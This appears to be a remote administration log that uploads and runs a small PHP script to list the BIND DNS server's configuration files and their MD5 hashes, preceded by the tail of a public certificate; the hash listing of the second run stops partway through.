yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:23:38: Establishing a connection
2026-01-03 19:23:38: 

PUT: /tmp/pkp965254

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:23:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp965254; rm /tmp/pkp965254'

2026-01-03 19:23:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:24:47: Establishing a connection
2026-01-03 19:24:59: Establishing a connection
2026-01-03 19:24:59: 

PUT: /tmp/pkp528293

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:25:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp528293; rm /tmp/pkp528293'

2026-01-03 19:25:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
